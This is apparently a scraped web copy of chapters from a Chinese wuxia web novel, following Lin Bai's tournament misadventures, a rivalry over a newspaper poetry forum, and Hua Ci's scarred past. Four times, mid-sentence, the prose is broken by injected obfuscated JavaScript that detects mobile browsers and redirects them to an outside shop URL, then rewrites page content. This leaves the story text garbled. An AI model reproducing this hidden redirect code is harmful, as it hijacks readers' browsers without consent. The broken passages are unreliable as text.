江湖之大,无奇不有,除了中原武林主流的六大门派以及各类大大小小的宗门以外,江湖中还存在不少隐世组织,什么神仙谷啦,往生门啦,绝情谷啦……都不喜与外界来往,隐居于江湖,行事诡谲,亦正亦邪。 无双药谷也是这样一派组织。虽不知药谷主人姓甚名谁,来自何方,但传闻他医术绝妙,具医死人,肉白骨的能力。然而传闻也说了,这药谷主人性情古怪,轻易不出手救人,绝非善类。 倘若小竹来自无双药谷,他师父多半就是那个性情古怪的药谷主人了。 不过,既然是这么一个对外界避之不及的隐世组织,游小竹又为何要离开药谷闯荡江湖呢? 甚至还参选了声势浩大的武林新星大会——难道是为了决赛第一名的拜师奖励?毕竟能一举拜入六大门派之一,走进武林核心关系网确实足够吸引人。 常人可能会有这样的追求,但对于一个来自隐世组织的人来说,打进武林核心关系网恐怕绝非奖赏,而是麻烦! 林柏有些迟疑地问:“小竹,你是为了什么,而要参加武林新星大会的呢?” “为了找到师兄,把他带回去交给师父。”游小竹眼眸低垂,细长而浓密的睫毛遮盖了眼中情绪,接着她摇了摇头: “不能说,我答应了师父不能和任何人说这件事。” 林柏立刻举起双手配合:“我不问了。” 没想到游小竹还有一个师兄,这是不是说明她不一定来自无双药谷呢?毕竟隐世门派往往人丁衰微,少有同门师兄弟妹。 但对方既然不愿说,林柏也不打算继续探听了。对这个脑回路异于常人,有些天然呆的姑娘,她还是十分有好感的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515259|203154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况且她们现在也算是队友,林柏直觉游小竹不会伤害她,呃,虽然她刚刚才准备把我绑起来,但假如真的走到把我绑起来关进柜子里的那一步,小竹应该会给我送饭的吧…… 应该会的吧…… * 影阁一楼,第十二间内。 一片昏暗。 然而正前方,墙面上,十八面水镜却无比清晰地映照出了一个个来自六重飞云宫的画面。 底下的看客们各自锁定了自己最关注的选手和视角,目不转睛地观看着。 左下方一面水镜上,映照的赫然是笑眯眯地和游小竹说话的林柏。 不少人注意到了那面镜子,议论声此起彼伏。 “姓林的凭什么这么好运,她相认得也太轻松了吧!” “别又是买挂了,我早就奇怪为何她能进第二轮选拔了!” “她嚣张不了多久。往年都是这样,主办方在第一轮收钱收够了,第二轮选拔就要严打刷票的了!” “当真?那可真是皆大欢喜,我早就不想看到她那张厚颜无耻的脸了!” 众人纷纷点头表示赞同,接着又是一阵针对林柏义愤填膺的唾弃。 “我说诸位倒也不必如此仇视林柏姑娘吧……” 一道斯文的声音突然横插进来: “武林新星大会刷票的人难道还少么?六大门派排在前列那些人的票数里,自家门派撑腰的怕是不只占了三成吧!” 这话一出,现场安静了,两秒后有人用诧异的语气问:“这能一样吗?” 接着又有人应了:“六大门派出身的内门弟子哪一个不是天之骄子,还用得着刷票?就算是刷了,自家门派给自家弟子撑点场面有什么不对,这叫锦上添花!” “正是!本来实力就不俗的那不叫注水,因为人家根本不水!她林柏一个武功废材刷票那才是注水!” …… 先前为林柏说话的男人不是别人,正是《环湖日报》的编辑李正。 他冷哼一声,捋了一把胡子,心道你们这些双标狗能不能去死!成天在日报论坛里撕逼吵架就是你们吧!六大门派给你们发钱了你们要这么跪着舔? 然而李正也就是在心里骂骂,毕竟在江湖上是个办报纸的公众人物,说两句公道话可以,再争辩下去,明日日报论坛上就会有人给他扣林柏死忠粉的帽子!那时候想脱身可就难了! 李正没有继续看下去,周遭一乌泱的无脑黑,实在败坏心情。他一边向外走,一边叹气。 虽然与林柏只有一面之缘,但这一面,却是真真实实地让李正受教了。 上一期《环湖日报》,他听取了林柏的分析,力邀老狐执笔写下了一篇揭秘点苍二兽禁断爱恋的文章,行文内容那叫一个荡气回肠! 老狐直言他写一句就要缓三缓,差点就要圆寂在这篇文章里了。 那一期日报刚发表半日不到,多家书屋便宣告售罄!李正那个喜上眉梢啊,急忙催促书坊加刊,一版再版,先后补印了整整三次! 赚得那叫一个盆满钵满! 自那一刻起,李正就决定,无论别人怎么诋毁林柏,无论林柏身上背负了多少黑料,他始终会为林柏敞开《环湖日报》的大门! 管你是黑猫白猫,能捕到老鼠就是好猫! 李正正兀自回忆着上期日报取得的成功,冷不防抬头一看,看见了老熟人。 这一袭白衣,手握折扇的不是玉无涯是谁。 只见他折扇微展,嘴角轻笑,端的是一派文质彬彬,儒雅斯文的风流,身旁只跟了一个下属。 他来影阁做什么? 李正嗅到了一股不寻常的味道。 8.仇家上门?! 影阁,转播武林新星大会选拔的观影之地。 身为望云楼楼主的玉无涯难道也会关注选手动态?李正不相信。 两人勉强算个同行,都在武林舆论场打拼了多年,李正可从没见玉无涯关注过往届的武林新星大会。 这人每天除了赏花逗鸟买扇子附庸风雅以外,好像还真没点别的爱好了。 毕竟望云楼家大业大,有的是干活的人。身为楼主,玉无涯只需指点江山,将委托下发给员工,钱就能源源不断地尽收手中。 对此李正表示很羡慕,毕竟他就是那个每天都要追着热点跑的人,怎是一个累字可形容! 从未在影阁碰见过玉无涯,李正倍感稀奇地飘到了玉无涯跟前:“走得早不如走得巧呐,没想到会在这碰见玉楼主。不知玉楼主来影阁有何要事?” “李编?别来无恙。”玉无涯笑眯眯地,“没有要紧事,不过是随便来转转。” 李正:“玉楼主可不像这么随便的人。来,别藏着掖着嘛,咱们也算是老熟人了,你就跟我透个底,是不是有什么热点?” “没有的事我怎么和你透底呢?我真就只是来看水镜转播罢了。”玉无涯一张无懈可击的笑容,突然话锋一转: “不过,消息我这里倒真有一个,但能不能发展成热点就不知了。” 李正立刻道:“你只管和我说,剩下的我自己想办法!”他笃定玉无涯手里的消息不简单,一心急着要听。 玉无涯神秘一笑:“我只说一句,李编,要想做大新闻,最近多关注关注慕容山庄。” 慕容山庄? 李正心里一团雾水,慕容山庄一派风平浪静能有什么新闻可做? 他追问道:“没有更多消息了?你这说的太模糊,我打灯笼也不知道要往哪个方向打啊。” “多说无益,李编,自己多查探吧。”说罢,玉无涯便啪地一声收起折扇,微微一笑,转身上楼。 李正被啪一声的扇子闪到了眼睛,回过神时方意识到玉无涯走向的是影阁二楼。 全是豪华贵宾单间的二楼。 既能享受HD高清画质水镜画面,又能排除无脑黑粉的聒噪干扰,独自追捧心水的选手。 啧,有够奢侈的。李正一脸羡慕嫉妒恨。 * 玉无涯缓步走进预订的豪华单间。 如果林柏在这,她一定会无语凝赛,这不就是个大型监控室吗? 平心而论,确实很像。 贵宾单间内的水镜数量较之普通房间多了一倍,墙面上足足有三十六面水镜,可谓是三百六十度全覆盖无死角,最全面观看选手日常。 此间宽敞,雅致,还有一股檀木香气。 “六大门派为了赚钱倒是舍得下血本,价值千两的高阶水镜一摆就摆了三十六面。” 玉无涯饶有兴味地笑道,缓缓坐在了紫檀茶台前。 他这一笑,好看得紧。玉无涯虽已三十而立,但因骨相立体,面容并不见老。皮肉紧实,线条俊朗,眼尾有些许细纹,反而多了几分韵味。 身旁的下属无奈道:“楼主,从前你可是说绝不会在六大门派花一分钱,结果……今日光是这一间贵宾席,可就足够主办方吃香喝辣半年了。” “谁说我要把这钱给他们了。”玉无涯指尖扣在桌面轻敲,“不过是先寄存于此,小黑,你等着看,楼主过段时间就连本带利把这钱收回来。” “说了别叫我小黑,我又不是狗。”下属很是不满地嘟囔。 “安静,看水镜。”玉无涯视线投向三十六面水镜正中那一面。 恰好,那一面水镜,映照的正是在二重阁斜斜倚在木柱上符平雪。 镜中人似乎能感受到自己正被某种东西窥伺着,剑眉微拧,脸上带着不耐烦的神情,却还是压制住了,给人的感觉是他下一秒就要冷哼一声,嘲讽你几句。 玉无涯看着镜中人,半响闭上双眼叹气:“唉,儿大不由娘啊,儿子离家出走这么久,我这个长辈第一次见他居然还是隔着一面破镜子。” 身旁的下属嘴角抽搐了一下,符公子不是儿,你也不是娘吧。 玉无涯端起茶杯轻缀了一口:“他最近有什么动向。” 下属立刻回道:“符公子前日派遣人手闯进了迷影地,躲开追杀带走了一个药人。” “还是那么不安分。”玉无涯沉吟片刻,问:“药人的身份查出来了吗?” “如楼主所料,正是慕容山庄的那一位” “呵。”玉无涯的眼神突然变得晦暗不明,“有意思,小黑,你说慕容山庄的人是不是特别倒霉?记好了哈,下辈子可别投生在慕容家。” 下属哼了一声:“当然,要是患上血蛊我还要不要活了!” “血蛊?最可怕的恐怕不是血蛊,最可怜的也未必是身患血蛊的那一个。也不知慕容泽这么多年是怎么撑过来的,呵。”玉无涯意味深长,末了轻轻一叹: “慕容山庄是真的要变天了。” “小符要查,就让他查下去吧。不闹个天翻地覆他是不肯甘休的,总归有我在后面顶着。” * “你听说了没?天师道的李清是鹤组的令主。” “早知道了,一则榜文明晃晃贴在比武场能不知道么?点苍剑宗的朱玄音也贴榜文了,她是猿组的令主。两个人都在悬赏找蝎的消息呢,哎你别说,五百两银子一个消息,我都动心了。” “真是怪了,这才第二天,一个个怎么都这么着急!悬赏令都有了。” “猿组的尾钩和蝎相认了,他们组只剩一次猎捕蝎的资格,朱玄音急着找消息我勉强能理解。怎么李清也这么快报身份了,他不是向来都很淡定么?” “谁知道呢?要我说,这场捕蝎游戏最后还是会变成武斗,大家都找不到消息就只能靠打过对方夺令牌了。” “有可能,到那时候我们可就不好混了……” “……” 林柏原本正在吃肉包子,谁料周围人在议论这么劲爆的消息,搞得她接连噎了好几下,哦和哦和地咳了起来,旁边的游小竹见状放下筷子拍起她的肩膀。 好容易才止住咳嗽声,林柏抬起已经通红的脸,一脸疑惑:“那两个张贴榜文的人都贴到哪里去了,我怎么完全不知道?” 游小竹学着她用气音低声说话:“你不是一刻钟前起的床么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“报仇!”林柏惊呼,“我和你有什么仇什么怨?” “很大的仇,很大的怨。” 唐真一脸悲切,突然低下头捂住心口:“此恨绵绵无绝期!(2*)” 滚呐!哪里来的古风少年,给我抬走!抬走!林柏既无语又紧张,她搜遍原主的记忆,完全没找到一丝一毫和这个叫唐真的人有关的记忆。到底是怎么回事! “我根本不认识你!我和你能有什么仇?什么怨?” “呵!”唐真冷笑,“你可知《环湖日报》?” “知道。”林柏谨慎答道。 “你可知《环湖日报》上有一个名为‘诗出有因’的交流区?” 林柏想了想:“不知道,没见过。”她也是买过好几期《环湖日报》的人了,从没在报上见过这个交流区。 “你当然没见过,因为这个板块已经没了!”唐真的声音突然变得悲愤,“它是因为你才没的!” “因为我?”林柏惊呼。 “因为你!”唐真沉痛地。 9.自爆身份!上门找打! “当初你成功参选武林新星大会时,日报的灌水区漫天遍地都是你的黑料,论坛楼区都不够了!投稿的黑料满天飞,一大批人花钱买楼位只为骂你!” “最后编辑决定砍掉‘诗出有因’交流区,扩张灌水区的板块!” “我的梦,我的家,我的港湾,我的‘诗出有因’就这样没了!全都是你的错!” 似乎回忆勾起了痛,唐真一脸悲痛欲绝,几欲垂泪。 林柏沉默了。 我才是受害者好不! 你以为我很愿意灌水区扩张版图吗?扩张之后我不仅要继续被灌水区的人骂,还要被迫承担触动你们这些古风少年的小圈子利益的后果! 两头不讨好,横竖我不是人是吧! 她强压着挥拳的冲动,沉声道:“唐真少侠,难道你不觉得这件事和我毫无关系么?事实上,最不想灌水区版图扩张的人可能就是我呢,毕竟我才是那个被骂的人……” 唐真冷哼一声:“你不杀伯仁,伯仁却因你而死。难道你还自认清白么?” 林柏嘴角抽搐:“行,我是大罪人,你想我怎么办吧?” “事情因你而起,自然也要由你来终结。不论你想什么办法,用什么手段,我要求你,必须复原诗出有因!” 林柏开始感到头疼了:“我又不是《环湖日报》的老板,我能有什么办法把恢复诗出有因的版区?” 唐真:“这件事本来就不简单,不然我为何要找上你。但犯了错就要承担后果,你可别想耍赖,不然……” 他邪邪一笑,露出一个威胁性的笑容。林柏虽然没感觉到危险,但觉得头更疼了,毕竟唐真也是唐门的人,要是真想对她做点什么,她一个武功废柴能有什么抵抗的空间。 按压着太阳穴,林柏瞥眼看向身旁的游小竹。 “……” 这姑娘不知什么时候要了一盘花生,现下正一边津津有味的嚼着,一边双眼放光不停地在林柏和唐真身上打转。 林柏要疯了,一个靠得住的都没有,终究还得靠自救。 尽量忽视眼前的唐真,林柏垂眸沉思着怎么解决这个大麻烦,几秒后她眼珠子一亮,赫然一副憋出了坏主意的狐狸模样。 不就是想要找个地方谈诗词歌赋,人生哲学么?成全你行了吧! 抬头再度看向唐真时,林柏面上已然带上几分笑意:“唐少侠,事情未必要变得那么麻烦,我有更好的主意,可助你重新找回你那什么诗什么因的交流区。” “是‘诗出有因’!”唐真瞪了她一眼,“你有什么法子?” “其实你不必执着于恢复原来的板块。你大可以号召你的诗友们继续投稿交流,就向灌水区投稿即可。”林柏一本正经。 “我为什么要在那里投稿,那里又不是我的‘诗出有因’!” “欸,这话就不对了。你仔细想想,灌水区是不是占了你们区的位置?” “是又怎样!” “那灌水区现在的位置是不是本质上就是‘诗出有因’的位置?你们发在灌水区不就等于发在了诗出有因吗?” “似乎有点道理。”唐真拧眉道。 “我再问你,知道什么叫和平演变么?” “从没听说过。” “和平演变是一种战略。”林柏语气郑重,“我问你,假使诗出有因真的得以恢复版区,它所占的位置是不是还是只有一丁点?发帖交流的是不是还是只有三四个人?” “你们这样圈地自萌,固步自封是不会有发展的。” 唐真也听得越来越认真,神情紧张:“那我们能怎么办?” “这就要用上我刚刚说的和平演变战略了。简单来说,这个战略需要你们潜伏在灌水区,通过诗词歌赋渗透敌人的思想,让敌人从心底认同你们的文化!逐渐地促使敌人内部发生根本性改变!” “久而久之,被诗词歌赋吸引的人就会越来越多,诗出有因的队伍不就壮大了么?” 林柏轻咳一声,停顿了一下瞄了眼唐真,这少年张大着嘴,用一种敬佩的目光在看她。 林柏在心里偷笑,表情依旧严肃,继续道:“相信你也很清楚《环湖日报》编辑们的尿性,有钱就是爹,有奶就是娘。假若灌水区里的诗友变多了,说不定编辑会直接将灌水区改组成诗出有因,这才是真正的胜利啊。” 唐真听得频频点头:“你说的不错。既然灌水区敢夺我们的版区,我们就该以牙还牙,以眼还眼,将灌水区全都归化成诗出有因!” 见对方真的把自己的话听进去了,林柏大松一口气,悠悠喝了一口茶,道:“孺子可教也。接下来你们的首要任务就是去攻占灌水区的楼位,在灌水区逐步建立诗出有名的据点,由内向外攻破敌人!” 唐真一脸钦佩:“受教了!” “我现在就去给我的水友们通信!”他瞬间化身热血少年,转身就要向门外走去。 林柏大松一口气,总算把这家伙打发走了。 谁料唐真突然回头:“你叫林柏是吧。我记住你了,虽然你人品不怎么样,但总算脑子没问题。这回要是诗出有因的夺板之战胜利了,我勉强可以同意让你加入我们的版区。” 林柏:“……”我说我想加入了吗?倒是不用在这种地方这么热情。 唐真没等到预想中对方欣喜若狂的表情,微微皱眉,正要再说,阁楼的门口突然传来一阵说话声—— “这里是二重阁是吧?” “大小姐你饶了我吧。我们这样一个楼一个楼的叫喊和街上那些胸口碎大石的人有什么区别!” “稍安勿躁!这才走到第二场次,后面还有的是人等着我们送人头送温暖呢。” 两道声音,一个透着潇洒意气,另一个则满是无奈。 二重阁内的茶桌上,零散坐着的七八个人都是微微皱眉,不约而同地将目光投向了门口。 下一秒,红色衣袂在猎猎狂风中飘进了众人眼中——那是一名红衣女子。 眉眼带笑,意气风发,在风中稳稳当当一步踏入阁楼。 肩薄而开,身若韧柳,腰侧悬着一柄银灰皮鞘,约三尺长的腰刀,刀身狭,柄短。 那女子鬓间长发随风向后扬,一瞬间露出她左脸上一道长疤——从左颧骨斜斜划下,拖过半个脸颊。 旁人若添这样一道疤,免不了多几分狰狞,然而这女子的神情太过坦然,眼神里没有半分遮掩之色,倒只平添几分潇洒的不羁。 跟在她身后走进来的是一名身穿绛紫色劲装的男子,腰间一把玄色弯刀。他负手而立,面容俊秀,神色淡漠中透着一丝无奈。 红衣女子站定,向着众人微微一笑:“诸位安好,在下昆吾山庄花辞!” 旁边的男子也跟着点头向众人示意:“昆吾山庄,花昭。” 茶桌上有人问了:“谁人不知道你昆吾花家姐弟两人?客气话就免说了,不知今日来此有何贵干?” 有何贵干?总归不像是来拜年的。林柏百无聊赖地看了门口两人一眼,心道今天二重阁的不速之客怎么这么多。 花辞笑容中透着不羁:“这位朋友不要着急嘛,我今日来此对大家来说绝对是好事。花昭,来!快,把你那套来一遍!” 花昭满脸黑线,浑像是被绑架了,但终究还是不情不愿地走到了前面,轻咳了两声:“你是否迷失在了寻找蝎子的征途?你是否还在为选拔晋级抓耳挠腮?你是否害怕自己成为落选之人?哦,我的朋友,你不必再担心了——” “看着她!她!她!她就是你在苦苦追寻的,热泪盈眶盼望的——” “蝎!子!啊——” 花昭单膝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520452|203154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下跪,一手捂脸,一手平直指向花辞。 众人:…… 花辞嘻嘻一笑:“是的呢,我就是五只蝎子之一哦。” 众人依旧:…… 林柏和游小竹对视一眼,都没搞清楚这人在唱什么戏。她是不是蝎子先不提,单是这跑到众人面前自爆的行为就实在难以理解。 最先说话的那个人又开口了,不过语气变差了:“花姑娘,你是在拿我们寻消遣吗?” “信不信皆由诸位。”花辞却是一派淡然,似乎并不在意众人的态度,“不过,我是诚心想要给各位送人头的哦。如果在坐的人里有令主,你大可以直接向魁阁确认猎捕我。当然,这要耗费一次猎捕资格。” “如果有哪位朋友想要亲自确认我的身份,也欢迎找我对战。只要你赢过我,我的令牌随你看。但输了的话,我就要观赏观赏你的令牌。怎么样,够公平吧?” 花辞举起手微笑着四面看了看:“如何?有哪位朋友想要陪我玩玩么?闷在六重飞云宫里真的是很无聊啊,我们一起来找点乐子顺便拉快一下选拔进度吧。” 无人应答。 众人面面相觑,眼底都是怀疑猜忌之色。 毕竟天上掉馅饼,人们第一个想法往往是这馅饼有没有毒。 花辞依旧不急不缓,就近坐在了一张木凳上,道:“我会在此处等半刻钟,在此期间,各位可以仔细考虑是否要战。当然,倘若之后想和我对招也随时恭候,只是那时候,各位可能就要排队了。” 诡异,太诡异了。 这人究竟有什么目的? 林柏又开始感到头疼了。这些大门大派出来的是不是脑子都不太正常,行事作风怎么都这么诡异! 如果花辞真是蝎的话,这样四处暴露对她有什么好处?倘若真的有令主决定冒险猎捕她,她不就直接玩完了么? 又或者,她是尾钩? 林柏低头沉思,手指在桌面一下一下敲打着。 目前花辞的行为确实很像尾钩,而且很像一只已经与蝎相认的尾钩。毕竟尾钩被令主逮捕后不会出局,她这样公然宣称自己是蝎,简直就像是在给蝎抗火力,将众人的注意力从仍然潜伏着的蝎转移到自己身上。 “你怎么看?”唐真不知何时又坐回在了林柏旁边的木凳上,凑近来小声问道。 林柏微微一怔,差点忘了这还有个不知是敌是友的人。她勉强笑了下:“瞪大眼睛随便看看热闹呗。我可是是个武功废柴,总不能上去挨打吧?” “你身边这位看着可不像武功废柴。”唐真意有所指地看了游小竹一眼。 小竹拧着眉,似乎真的在思考要不要上场。 这家伙什么意思?在打探我和小竹吗? 林柏拍了拍小竹的肩,示意她冷静。看着唐真眼神冷了点:“总不能什么都没搞清楚就冲上去硬干,我们小人物行事是要谨慎保守一点的。” “好吧。”唐真耸了耸肩,“还以为你能吐出什么象牙来呢,方才明明那么牙尖嘴利。” “不过还真是没想到,来二重阁一趟还能碰上这么精彩一场戏。我住五重阁,倘若等着花辞按顺序一个个来踢馆,轮到我那时估计我都睡着了。”他嘴角一勾,邪邪一笑: “林柏,要不要赌一把,我赌前面的那八个人,没有一人会出场和花辞应战。” 林柏瞥他一眼:“花辞武功很厉害?” “你没有听说过那个传闻?”唐真有些惊讶了。 林柏摇头:“坦白说,我对她一无所知。”原主的记忆里关于这个人的信息很少,只知她来自昆吾山庄。 “真是出乎我意料,我以为像你这种爱搞营销的人都很关注时事新闻呢。”唐真啧啧称奇,“不过看在你方才为我提供版区战斗方案的分上,我可以勉为其难为你解一次惑。” 10.应战! 林柏摸不清唐真的态度,只当他是一时犯瘾想当讲解师,便也配合地做出了一副洗耳恭听的模样。 “你可知道苦无阁?”唐真问道。 “自然知道,西南魔界的一个二流魔教组织。” 闻言唐真笑了笑:“呵,如今你称苦无阁为二流组织确实名副其实,然而几年前可不是这般情形。” “如今让武林众人极为忌惮的七魄宫不过才诞生几年,而在它之前,魔界的主宰者一直是苦无阁。如今的苦无阁有多破败荒凉,当初的苦无阁就有多么如日中天。” “那时,苦无阁在魔界只手遮天,为利益游走于黑白两道,江湖中不少谋杀惨案都出自苦无阁之手。” “而老四,就是苦无阁内最出名的一个杀手。” 花辞的故事为何会从苦无阁的杀手讲起? 林柏微微沉吟,等着唐真进入重点。一旁的游小竹则重新拾起筷子一下一下夹花生,黑白分明的眼睛闪着亮光,显然对这故事极为感兴趣。 唐真的声音压得很低,远处大马金刀坐在凳子上的花辞,并未将目光投向他们这边。 “老四在苦无阁处事多年,出手很少。然而不出手则已,只要他出手,必然鲜血涂地,无人生还。因他刀法出神入化,杀人如剪草,久而久之,江湖中有人给他起了一个绰号,名为‘刀鬼’。” “刀鬼杀人有一个怪癖。无论被杀之人致命伤在何处,他总会在那人心口补上两刀,一撇一捺,构成一个血红的叉。这几乎成了他夺人命的标志性记号。” “四年前,一个山庄遭遇了灭门惨案,山庄内二十七个死人的心口上正有着这样一个叉。” 唐真停顿片刻,继续道:“这个山庄恐怕你们都未曾听说过,毕竟时隔好几年,那山庄又不是什么大门大派。但依我看,倘若那山庄未遭此祸,今日在东南地区称雄的就不一定是慕容山庄。” “山庄名唤铁剑山庄,有一套家传的玄铁剑法。本来从未在武林引起任何注意,不过四五年前,铁剑山庄的庄主不知是受了高人指点还是恍然顿悟,请铸剑师重新打铸了一柄玄铁剑,又改良剑招剑法,推出了一套新的玄铁剑法。” “自那以后,铁剑山庄逐渐展露头角。在当时武林各派的多场比试切磋中,玄铁剑法都显露了不俗的威力,引来江湖中不少人的关注,铁剑山庄的风头也越来越盛。” “然而木秀于林,风必摧之。就在江湖人人都以为铁剑山庄就要崛起,与慕容山庄一绝剑派高下的时候,铁剑山庄却在一夜之间被灭门,全族二十八口人,唯有一个十二岁的幼女侥幸存活。而死去的二十七人,心口上都有一道红叉,种种迹象都表明杀人者是刀鬼老四。” “此事本来与昆吾山庄毫无关系。然而巧就巧在,铁剑山庄那一个侥幸从这场惨案中逃脱的幼女,正好与花辞相识。” 林柏心神一动,可算是讲到重点了么?不过,花辞在这时出场似乎并不是什么好事。 唐真眼神晦暗不明,讲述似乎让他陷进了故事里。 “那幼女经此大悲大痛,神志不清,在铁剑山庄的废墟里躲藏了两天两夜后投奔了花辞。” “也许是天真不晓事,也许是走投无路报仇心切,抓住了一根稻草便想拼命往上拽。那幼女竟然恳求当时只有十六岁的花辞为她报仇。” “最匪夷所思的是,花辞应允了。”唐真若有所思地笑了一下,“真不知是该说她太过心善,还是该说她不知天高地厚。” “传闻当时花风云,哦,就是昆吾山庄的庄主,花辞的老爹。听闻她要插手这事时,被气得半死,一狠心将花辞打了一顿,五花大绑锁在了家中。” “花辞那时虽只有十六岁,心气却已经很高,张扬不羁,又怎么听得进去花风云的训诫。” 林柏闻言看了一眼远处静坐的花辞,心道说得不错,花辞这人给她的感觉就是潇洒不羁,浑身上下都透露着不安分的气质。 “她依旧要管这闲事,决心要为那幼女和铁剑门上下二十七口人报仇。使手段逃出昆吾山庄之后,她便想尽办法寻找老四。” “你一定想不到,她用了什么办法逼老四现身。”唐真突然戏谑一笑。 林柏没心思和他互动,木然地给了个我确实不知道的眼神。 唐真撇嘴,继续道: “她不惜与魔教的人做交易,花重金在苦无阁买了一条人命。你猜她买的是谁的命?” “——她自己的命。” “她指名道姓,要求苦无阁派老四去铁剑山庄取走她的命。” 林柏微微一怔,这行事作风确实有些超乎常人的理解。 愿意将自己的生命置之度外,扛起朋友的仇恨,做到这种程度的你,究竟是个怎么样的人呢? 林柏忍不住思量起花辞这个人。身旁,唐真还在叙说: “就这样,花辞在埋葬了二十七条人命的铁剑山庄等来了刀鬼老四。” “没有人知道,那一晚在铁剑山庄究竟发生了什么。”唐真喝了一口茶,眼神变沉: “花辞活着从铁剑山庄走了出来,命还在,脸上却多了一道疤。她对此似乎毫不在意,从未遮挡过那道疤。而对于在铁剑山庄里究竟发生了什么,她与刀鬼是如何交手,谁输谁赢,她一律不愿开口。” “和老四交过手的,没有活人,无一例外都成了他刀下亡魂,花辞是第一个例外。” “吊诡的是,老四也活着。” “花辞绝不可能是老四的对手,而她是如何从老四手中逃脱,脸上那道疤由何而来,老四为何又会打破规矩放过花辞,这些我们都无从得知。” 唐真推开桌上的茶杯,一手托腮趴在了桌上: “传闻总是没后续,花辞不说,老四不语,江湖中便也只剩一些似真似假的传言了。” 故事讲完了。 三人陷入几瞬的沉默。 唐真忽地一笑,语气颇有些讽刺:“然而人的想象力是无穷的,就算花辞武功一般,光是与刀鬼对决而全身而退的这件事,便足够让很大一批人忌惮她。” “你知道关于这件事,目前我听过的最离谱的说法是什么吗?”唐真看向林柏,却没指望她回应,自问自答道: “有人说刀鬼是花辞的父亲。依据是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522896|203154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么你肯定没想到——因为刀鬼使刀,便说他本是昆吾山庄的门徒,与花风云的老婆勾结生下花辞而后一走了之,勾结魔教。未料父女再次重逢竟成仇敌云云,听得我头都晕了。” “这就是你认为不会有人上前挑战花辞的原因?”林柏挑眉,“仅仅因为花辞背后可能有个杀手老爹?” “当然不是。”唐真懒洋洋应道,“这只是一个面,你永远无法想象他们会从哪个面想象花辞。而我只知道,他们无法停止想象,这就是我说前面那些人里,绝不会有人上前挑战花辞的原因。” “呵,小门小派出来的人怎么可能跳脱出来。” 林柏:“……”少年你好像暴露了你有派别歧视。 “至于那些传闻,简直一派胡言,编也不编点靠谱的。”唐真嗤之以鼻,“刀鬼可不是什么老头子,从我的消息网来看,他恐怕不比我们大多少。” 听到这话,林柏倒是有点惊讶了:“你的消息网靠谱吗?”毕竟怎么想,闻名江湖,武力超强的刀鬼都不该是个年轻人。 “别质疑我,独家消息,不容置疑。”唐真却是不欲多谈所谓消息网的问题,“不过,铁剑山庄那一场决斗的内情我就完全不知了。真相恐怕只有当事人知道喽。” 他说到当事人时,林柏下意识又看了一眼花辞——半刻钟的时间已经过半,没有任何人有上前的意思。而红衣少女一派游刃有余的模样,既不担心被令主逮捕,也不惧怕有人挑战,依旧静坐。 瞥见花辞嘴角那一抹轻笑时,林柏心里一动,再回看身旁的唐真,心想:这家伙刚才说话的时候虽然压着声音,但对于内力高的习武之人来说,恐怕是聊胜于无吧…… 林柏立刻有了看好戏的心情,笑着看向唐真:“你向来这么喜欢当着主人公的面讲她的故事么?” 唐真一脸莫名其妙地看她:“不过是看在你为我夺回版区出谋划策的份上才提供消息。你以为我是什么大善人么?想都别想。” “话说,你听我讲了这么多,心里难道就没点想法?”唐真伸了个懒腰,从桌子上直起身子,“难道你不想见识见识能从刀鬼手中全身而退的人有什么样的武功?” “完全不想。”林柏干脆利落,“身为一个武功废柴,我很有自知之明。” “啧,没意思,原来你是那种根本懒得想象的人。”唐真白了林柏一眼,突然起身,负手而立,看向前方花辞所在之处,灿然一笑,三分张扬七分兴奋: “我比你强一点吧,我是在脑子里百转千回想了个透,却还是想要亲眼见识见识的人。” 说罢便大步迈向前方,身后衣袖随风扬起。 这人……是要去应战么? 林柏愕然,这发展真是叫她始料未及。 你们大门大派里出来的是不是都不爱走寻常路!?林柏默默在心里吐槽,她是真的丝毫没看出唐真有意应战。 “唐门唐真,有意一战,不知花辞姑娘意下如何?” 唐真笑吟吟地走到前方,拱手向对方问道,这番动作倒真有几分少年意气。 花辞笑了,一手摸向身侧的腰刀,慢慢起身。 11.各怀鬼胎 “也不知花辞究竟在演什么戏码?公然暴露蝎的身份就罢了,居然还四处找打,宣战挑衅!” 